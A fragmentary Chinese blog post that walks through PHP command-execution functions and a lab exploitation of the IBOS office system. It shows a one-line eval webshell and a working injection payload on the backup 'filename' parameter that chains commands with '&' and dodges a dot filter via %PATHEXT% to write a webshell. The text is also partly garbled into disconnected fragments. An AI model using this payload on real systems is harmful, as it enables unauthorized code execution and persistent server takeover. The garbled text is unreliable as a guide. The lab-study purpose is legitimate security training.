赞
踩
linux
执行的就是Bash
命令,如果是windows
执行的就是cmd
命令。cmd
中&
表示执行多条命令。<?php system('whoami')?>
其实一句话木马的本质就是一个命令执行漏洞。echo "<?php eval($_REQUEST[8])?>" 123.php
通过cmd
写文件。 system('whoami')
cmd
写文件获得shell
。执行命令并且返回结果且输出
只执行,并且只会返回结果的最后一行
执行命令并且返回所有结果,但是没有输出
执行命令并且返回结果,但没有输出 【shell_exec
特殊写法,即禁用shell_exec()
函数反引号也不会生效】。
执行命令并且返回结果且全部输出
popen
(要执行的命令,参数)
$a = popen('whoami','r'); //r是只读、w是写入
echo fread($a,1024);
//这个执行的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值;1024指返回值长度。
对于渗透测试人员而言,返回值并没有那么重要,核心是代码的确已经执行了,这个才是重中之重。
Zend Guard
是目前市面上最成熟的PHP
源码加密产品,只要PHP
加载了这个第三方加密插件,那么就可以直接运行加密后的源码,网上也有相关的解密工具。
IBOS
办公系统, 一键化安装的网站系统 【安装数据库、网站、web
容器、并且配置好】。exe
可执行文件,所以建议在虚拟机安装。system()
。exec()
sql
语句的,与系统命令无关。shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
IBOS
页面,经过测试,得出这串代码的意义是这个sql
语句写入数据库中。C:/IBOS520/MySQL/bin/mysql -h"127.0.0.1 -P3306" -u"root" -p"root" "ibos" < backup/2022-01-27_L6c686H4.sql
通过代码审计知道上一步的作用是导入数据库 ,经过尝试系统会对我们输入的信息进行过滤 ,也就是说我们无法篡改数据库的id
,后台会对文件是否存在进行校验。
zend
加密,进行解密。shell_exec()
,发现了新的利用点。$dumpFile =>
$dumpFile = $backupFileName . "-%s.sql";
$backupFileName = self::BACKUP_DIR . "/" .core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
$fileName = core\utils\Env::getRequest("filename");
//BACKUP_DIR为常量;str_replace为函数,核心是正则替换,对变量filename的处理,/ \\ . ' 全部都会变为空。
//getRequest为接受传参
filename
这个传参点, 将filename
的传参方式由POST
修改为GET
,这样可以规避URL
编码造成的语句失效, 并且源码允许进行GET
传参 。后台会对.
进行过滤,我们使用cmd
的函数进行规避。构造最终payload
为 1&echo "<?php @eval($_REQUEST[8]);?>" >a666%PATHEXT:~0,1%php&1
,进行url
编码。flag
。Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。